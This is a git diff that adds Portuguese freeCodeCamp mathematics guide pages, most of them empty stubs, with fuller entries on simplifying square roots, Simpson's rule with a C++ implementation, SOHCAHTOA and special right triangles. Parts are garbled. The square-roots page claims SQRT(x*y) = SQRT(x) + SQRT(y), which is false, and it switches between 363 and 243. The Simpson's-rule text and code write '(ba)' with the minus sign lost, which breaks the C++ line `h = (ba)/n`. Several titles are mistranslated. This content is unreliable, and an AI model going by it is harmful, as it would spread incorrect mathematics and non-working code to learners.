+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-expressions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/simplifying-radicals/index.md b/client/src/guide/portuguese/mathematics/simplifying-radicals/index.md
new file mode 100644
index 0000000000..6e0c38195f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/simplifying-radicals/index.md
@@ -0,0 +1,11 @@
+---
+title: Simplifying Radicals
+localeTitle: Simplificando Radicais
+---
+## Simplificando Radicais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/simplifying-radicals/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/simplifying-square-roots/index.md b/client/src/guide/portuguese/mathematics/simplifying-square-roots/index.md
new file mode 100644
index 0000000000..2afcb951cf
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/simplifying-square-roots/index.md
@@ -0,0 +1,27 @@
+---
+title: Simplifying Square Roots
+localeTitle: Simplificando Raízes Quadradas
+---
+## Simplificando Raízes Quadradas
+
+Forma radical simplificada: Digamos que você tenha o radical SQRT (363), e você precisa simplificá-lo em um número mais bonito e em um número que você possa usar em cálculos específicos, para fazer isso tentando encontrar quadrados perfeitos dentro do radical.
+
+Então, é um fato que SQRT (x \* y) = SQRT (x) + SQRT (y) e isso nos permite separar o SQRT (243) em pedaços
+
+mas primeiro, precisamos encontrar um fator de 363, o que nos permitiria puxar um quadrado perfeito dele. Quadrados perfeitos incluem 1, 4, 9, 16, 25, 36, 49, 64, 81, 100, 121, 144 ... porque cada um deles tem uma raiz quadrada que é um número inteiro
+
+Agora, os fatores de 363 são: 1, 3, 11, 33, 121 e 363
+
+Se você olhar, você pode ver que 121 está na lista, 121 _3 é 363 e podemos mudar o radical para mostrar que: SQRT (363) = SQRT (121_ 3) = SQRT (121) _SQRT (3) E podemos pegar a raiz quadrada de 121 e torná-la um número inteiro: = 11_ Sqrt (3) E isso é radical.
+
+Simplificando raízes quadradas no denominador: Vamos dizer que você tem a expressão:
+
+## 2
+
+SQRT (5) E você queria simplificar isso removendo o radical do denominador, bem, você pode fazer isso multiplicando essa fração por:
+
+## SQRT (5)
+
+SQRT (5) Qual é igual a um e você obtém: 2 SQRT (5) 2 x SQRT (5) ------- x ------- = ----------- porque uma raiz quadrada multiplicada por si é o número no quadrado, o denominador é agora um SQRT (5) SQRT (5) 5 número inteiro, não um radical. O radical ainda existe no topo, mas isso é bom na maioria dos casos.
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/simpsons-rule/index.md b/client/src/guide/portuguese/mathematics/simpsons-rule/index.md
new file mode 100644
index 0000000000..3bb3eb84a8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/simpsons-rule/index.md
@@ -0,0 +1,117 @@
+---
+title: Simpson's Rule
+localeTitle: Regra de Simpson
+---
+# Regra de Simpson
+
+Na análise numérica, a regra de Simpson é um método para integração _numérica (aproximação numérica de integrais definidas)_ .
+
+A regra de Simpson aproxima a integração da forma,
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim1.png)
+
+Onde,
+
+*   `f(x)` é chamado o _integrando_
+*   `a` = limite inferior de integração
+*   `b` = limite superior de integração
+
+## Regra 1/3 de Simpson
+
+![Simpson's Rule](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim01.jpg)
+
+Como mostrado no diagrama acima, o integrando `f(x)` é aproximado por um polinômio de segunda ordem; o interpolante quadrático sendo `P(x)` .
+
+A aproximação segue,
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim3.png)
+
+Substituindo `(ba)/2` como `h` , obtemos,
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim4.png)
+
+Como você pode ver, há um fator de `1/3` na expressão acima. É por isso que se chama **Regra 1/3 de Simpson** .
+
+Se uma função é altamente oscilatória ou não possui derivativos em certos pontos, a regra acima pode falhar em produzir resultados precisos. Uma maneira comum de lidar com esse problema é dividindo o intervalo `[a,b]` em vários subintervalos pequenos. A regra de Simpson é então aplicada a cada subintervalo, com os resultados sendo somados para produzir uma aproximação para a integral ao longo de todo o intervalo. Esse tipo de abordagem é chamado _de regra_ do _composto Simpson_ .
+
+Suponha que o intervalo `[a,b]` seja dividido em `n` subintervalos, com `n` sendo um número par. Então, a regra do composto Simpson é dada por,
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim7.png)
+
+onde **x j = a + jh** para **j = 0,1,…, n-1, n** com **h = (ba) / n** ; em particular, **x 0 = a** e **x n = b** .
+
+#### Exemplo:
+
+**Aproxima o valor da integral dada abaixo, tomando n = 8.**
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim9.png)
+
+A implementação da Regra 1/3 de Simpson em C ++ é a seguinte:
+
+```cpp
+#include<iostream> 
+ #include<cmath> 
+ using namespace std; 
+ 
+ float f(float x) 
+ { 
+    return x*sin(x);    //Define the function f(x) 
+ } 
+ 
+ float simpson(float a, float b, int n) 
+ { 
+    float h, x[n+1], sum = 0; 
+    int j; 
+    h = (ba)/n; 
+ 
+    x[0] = a; 
+ 
+    for(j=1; j<=n; j++) 
+    { 
+        x[j] = a + h*j; 
+    } 
+ 
+    for(j=1; j<=n/2; j++) 
+    { 
+        sum += f(x[2*j - 2]) + 4*f(x[2*j - 1]) + f(x[2*j]); 
+    } 
+ 
+    return sum*h/3; 
+ } 
+ 
+ int main() 
+ { 
+    float a,b,n; 
+    a = 1;      //Enter lower limit a 
+    b = 4;      //Enter upper limit b 
+    n = 8;      //Enter step-length n 
+    if (n%2 == 0) 
+        cout<<simpson(a,b,n)<<endl; 
+    else 
+        cout<<"n should be an even number"; 
+    return 0; 
+ } 
+```
+
+## Regra 3/8 de Simpson
+
+A regra 3/8 de Simpson é semelhante à regra de 1/3 de Simpson. A única diferença é que, aqui, o interpolante é um polinômio cúbico. A regra 3/8 é duas vezes mais precisa que a regra 1/3, mas usa mais um valor de função.
+
+A regra 3/8 de Simpson afirma:
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim6.png)
+
+Substituindo `(ba)/3` como `h` , obtemos,
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim5.png)
+
+A regra 3/8 de Simpson para n intervalos (n deve ser um múltiplo de 3):
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Simpson-Method/sim8.png)
+
+onde **x j = a + jh** para **j = 0,1,…, n-1, n** com **h = (ba) / n** ; em particular, **x 0 = a** e **x n = b** .
+
+### Mais Informações:
+
+1.  [Regra de Simpson](https://en.wikipedia.org/wiki/Simpson%27s_rule)
+2.  [Regra 1/3 de Simpson](w3.gazi.edu.tr/~balbasi/mws_gen_int_txt_simpson13.pdf)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/sine-cosine-tangent/index.md b/client/src/guide/portuguese/mathematics/sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..f13dc9da4f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Sine Cosine Tangent
+localeTitle: Tangente Coseno Senoidal
+---
+## Tangente Coseno Senoidal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sine-cosine-tangent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/slant-oblique-asymptotes/index.md b/client/src/guide/portuguese/mathematics/slant-oblique-asymptotes/index.md
new file mode 100644
index 0000000000..1fc8c0429b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/slant-oblique-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Slant Oblique Asymptotes
+localeTitle: Asymptotes oblíquos oblíquos
+---
+## Asymptotes oblíquos oblíquos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/slant-oblique-asymptotes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/slope-formula/index.md b/client/src/guide/portuguese/mathematics/slope-formula/index.md
new file mode 100644
index 0000000000..cade197af0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/slope-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Slope Formula
+localeTitle: Fórmula de inclinação
+---
+## Fórmula de inclinação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/slope-formula/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/sohcahtoa-sine-cosine-tangent/index.md b/client/src/guide/portuguese/mathematics/sohcahtoa-sine-cosine-tangent/index.md
new file mode 100644
index 0000000000..b67ea09806
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/sohcahtoa-sine-cosine-tangent/index.md
@@ -0,0 +1,11 @@
+---
+title: Sohcahtoa Sine Cosine Tangent
+localeTitle: Sohcahtoa Sine Cosine Tangent
+---
+## Sohcahtoa Sine Cosine Tangent
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sohcahtoa-sine-cosine-tangent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/sohcahtoa/index.md b/client/src/guide/portuguese/mathematics/sohcahtoa/index.md
new file mode 100644
index 0000000000..f7b36b3de2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/sohcahtoa/index.md
@@ -0,0 +1,11 @@
+---
+title: Sohcahtoa
+localeTitle: Sohcahtoa
+---
+## Sohcahtoa
+
+Sohcahtoa é um mnemônico usado para as funções trigonométricas Sine, Cosine e Tangent. Sohcahtoa significa seno = oposto à hipotenusa, cosseno = adjacente à hipotenusa e tangente = oposto ao adjacente.
+
+#### Mais Informações:
+
+[Wikipedia](https://en.wikipedia.org/wiki/Trigonometric_functions)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md b/client/src/guide/portuguese/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md
new file mode 100644
index 0000000000..6d1ad07035
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving a System of 3 Equations and 4 Variables Using Matrix Row Echelon Form
+localeTitle: Resolvendo um sistema de 3 equações e 4 variáveis ​​usando o formulário Echelon da linha de matriz
+---
+## Resolvendo um sistema de 3 equações e 4 variáveis ​​usando o formulário Echelon da linha de matriz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-a-system-of-3-equations-and-4-variables-using-matrix-row-echelon-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-absolute-value-equations/index.md b/client/src/guide/portuguese/mathematics/solving-absolute-value-equations/index.md
new file mode 100644
index 0000000000..be888a1f22
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-absolute-value-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Absolute Value Equations
+localeTitle: Resolvendo Equações de Valor Absoluto
+---
+## Resolvendo Equações de Valor Absoluto
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-absolute-value-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-exponential-equations-from-the-definition/index.md b/client/src/guide/portuguese/mathematics/solving-exponential-equations-from-the-definition/index.md
new file mode 100644
index 0000000000..fd711767b2
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-exponential-equations-from-the-definition/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Exponential Equations from the Definition
+localeTitle: Resolvendo Equações Exponenciais da Definição
+---
+## Resolvendo Equações Exponenciais da Definição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-exponential-equations-from-the-definition/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md b/client/src/guide/portuguese/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md
new file mode 100644
index 0000000000..1f2d7fa7ee
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Exponential Equations Using Logarithms Base 2
+localeTitle: Resolvendo equações exponenciais usando logaritmos base 2
+---
+## Resolvendo equações exponenciais usando logaritmos base 2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-exponential-equations-using-logarithms-base-2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md b/client/src/guide/portuguese/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md
new file mode 100644
index 0000000000..35b48698c5
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving for a Side with the Law of Cosines
+localeTitle: Resolvendo um lado com a lei dos cossenos
+---
+## Resolvendo um lado com a lei dos cossenos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-for-a-side-with-the-law-of-cosines/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-for-a-side-with-the-law-of-sines/index.md b/client/src/guide/portuguese/mathematics/solving-for-a-side-with-the-law-of-sines/index.md
new file mode 100644
index 0000000000..05a8e3ce5b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-for-a-side-with-the-law-of-sines/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving for a Side with the Law of Sines
+localeTitle: Resolvendo um Lado com a Lei dos Sines
+---
+## Resolvendo um Lado com a Lei dos Sines
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-for-a-side-with-the-law-of-sines/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-inequalities/index.md b/client/src/guide/portuguese/mathematics/solving-inequalities/index.md
new file mode 100644
index 0000000000..9bda301e78
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Inequalities
+localeTitle: Resolvendo Desigualdades
+---
+## Resolvendo Desigualdades
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-inequalities/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-linear-equations-one-step-equations/index.md b/client/src/guide/portuguese/mathematics/solving-linear-equations-one-step-equations/index.md
new file mode 100644
index 0000000000..1e6f9d256f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-linear-equations-one-step-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Linear Equations One Step Equations
+localeTitle: Resolvendo equações lineares Equações de um passo
+---
+## Resolvendo equações lineares Equações de um passo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-linear-equations-one-step-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-log-equations-from-the-definition/index.md b/client/src/guide/portuguese/mathematics/solving-log-equations-from-the-definition/index.md
new file mode 100644
index 0000000000..08469a47fe
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-log-equations-from-the-definition/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Log Equations from the Definition
+localeTitle: Resolvendo Equações de Log da Definição
+---
+## Resolvendo Equações de Log da Definição
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-log-equations-from-the-definition/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-log-equations-with-exponentials/index.md b/client/src/guide/portuguese/mathematics/solving-log-equations-with-exponentials/index.md
new file mode 100644
index 0000000000..c6e428fca1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-log-equations-with-exponentials/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Log Equations with Exponentials
+localeTitle: Resolvendo Equações de Log com Exponenciais
+---
+## Resolvendo Equações de Log com Exponenciais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-log-equations-with-exponentials/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-quadratic-equations-by-factoring/index.md b/client/src/guide/portuguese/mathematics/solving-quadratic-equations-by-factoring/index.md
new file mode 100644
index 0000000000..d1756cbfb6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-quadratic-equations-by-factoring/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Quadratic Equations by Factoring
+localeTitle: Resolvendo Equações Quadráticas por Factoring
+---
+## Resolvendo Equações Quadráticas por Factoring
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-quadratic-equations-by-factoring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-quadratics-by-factoring/index.md b/client/src/guide/portuguese/mathematics/solving-quadratics-by-factoring/index.md
new file mode 100644
index 0000000000..370feea7e6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-quadratics-by-factoring/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Quadratics by Factoring
+localeTitle: Resolvendo Quadráticos por Factoring
+---
+## Resolvendo Quadráticos por Factoring
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-quadratics-by-factoring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-sas-triangles/index.md b/client/src/guide/portuguese/mathematics/solving-sas-triangles/index.md
new file mode 100644
index 0000000000..29f0c707ef
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-sas-triangles/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Sas Triangles
+localeTitle: Resolvendo Sas Triangles
+---
+## Resolvendo Sas Triangles
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-sas-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-systems-of-equations-by-elimination/index.md b/client/src/guide/portuguese/mathematics/solving-systems-of-equations-by-elimination/index.md
new file mode 100644
index 0000000000..bb73c29cb4
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-systems-of-equations-by-elimination/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Systems of Equations by Elimination
+localeTitle: Resolvendo Sistemas de Equações por Eliminação
+---
+## Resolvendo Sistemas de Equações por Eliminação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-systems-of-equations-by-elimination/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/solving-triangles/index.md b/client/src/guide/portuguese/mathematics/solving-triangles/index.md
new file mode 100644
index 0000000000..f551877222
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/solving-triangles/index.md
@@ -0,0 +1,11 @@
+---
+title: Solving Triangles
+localeTitle: Resolvendo Triângulos
+---
+## Resolvendo Triângulos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/solving-triangles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/span/index.md b/client/src/guide/portuguese/mathematics/span/index.md
new file mode 100644
index 0000000000..6ffa36a0d8
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/span/index.md
@@ -0,0 +1,11 @@
+---
+title: Span
+localeTitle: Período
+---
+## Período
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/span/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/special-factoring-differences-of-squares/index.md b/client/src/guide/portuguese/mathematics/special-factoring-differences-of-squares/index.md
new file mode 100644
index 0000000000..285bbc90a0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/special-factoring-differences-of-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Factoring Differences of Squares
+localeTitle: Diferenças Especiais de Factoring de Quadrados
+---
+## Diferenças Especiais de Factoring de Quadrados
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/special-factoring-differences-of-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md b/client/src/guide/portuguese/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md
new file mode 100644
index 0000000000..cf830795bb
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md
@@ -0,0 +1,11 @@
+---
+title: Special Factoring Sums and Differences of Cubes and Perfect Squares
+localeTitle: Somatórios Especiais e Diferenças de Cubos e Quadrados Perfeitos
+---
+## Somatórios Especiais e Diferenças de Cubos e Quadrados Perfeitos
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/special-factoring-sums-and-differences-of-cubes-and-perfect-squares/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/special-right-triangles-intro/index.md b/client/src/guide/portuguese/mathematics/special-right-triangles-intro/index.md
new file mode 100644
index 0000000000..c6219cd5c6
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/special-right-triangles-intro/index.md
@@ -0,0 +1,21 @@
+---
+title: Special Right Triangles Intro
+localeTitle: Introdução especial dos triângulos direitos
+---
+## Introdução especial dos triângulos direitos
+
+Triângulos retângulos especiais um tipo de triângulo retângulo onde os dois ângulos não retos compartilham um relacionamento especial.
+
+Existem dois tipos de triângulos retângulos especiais: um 45-45-90 e um 30-60-90.
+
+## 45-45-90
+
+Este tipo de triângulo tem um ângulo de 90 o e dois ângulos de 45 o cada. Isso faz com que os lados do triângulo tenham essa relação especial:
+
+![45-45-90 relacionamentos colaterais](https://github.com/Zoonn123/resources/blob/master/45-45-90hacktoberfestedit.png)
+
+## 30-60-90
+
+Este tipo de triângulo tem um ângulo de 90 o , um ângulo de 60 o e um ângulo de 30 o . Isso faz com que os lados do triângulo tenham essa relação especial:
+
+![30-60-90 relacionamentos colaterais](https://github.com/Zoonn123/resources/blob/master/30-60-90hacktoberfestedit.png)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/sphere/index.md b/client/src/guide/portuguese/mathematics/sphere/index.md
new file mode 100644
index 0000000000..45420075f9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/sphere/index.md
@@ -0,0 +1,11 @@
+---
+title: Sphere
+localeTitle: Esfera
+---
+## Esfera
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sphere/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/spherical-coordinates/index.md b/client/src/guide/portuguese/mathematics/spherical-coordinates/index.md
new file mode 100644
index 0000000000..d472618596
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/spherical-coordinates/index.md
@@ -0,0 +1,11 @@
+---
+title: Spherical Coordinates
+localeTitle: Coordenadas Esféricas
+---
+## Coordenadas Esféricas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/spherical-coordinates/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/squares-and-square-roots/index.md b/client/src/guide/portuguese/mathematics/squares-and-square-roots/index.md
new file mode 100644
index 0000000000..c32f86a7f7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/squares-and-square-roots/index.md
@@ -0,0 +1,11 @@
+---
+title: Squares and Square Roots
+localeTitle: Quadrados e Raízes Quadradas
+---
+## Quadrados e Raízes Quadradas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/squares-and-square-roots/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/standard-deviation-and-variance/index.md b/client/src/guide/portuguese/mathematics/standard-deviation-and-variance/index.md
new file mode 100644
index 0000000000..8657bb78dc
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/standard-deviation-and-variance/index.md
@@ -0,0 +1,11 @@
+---
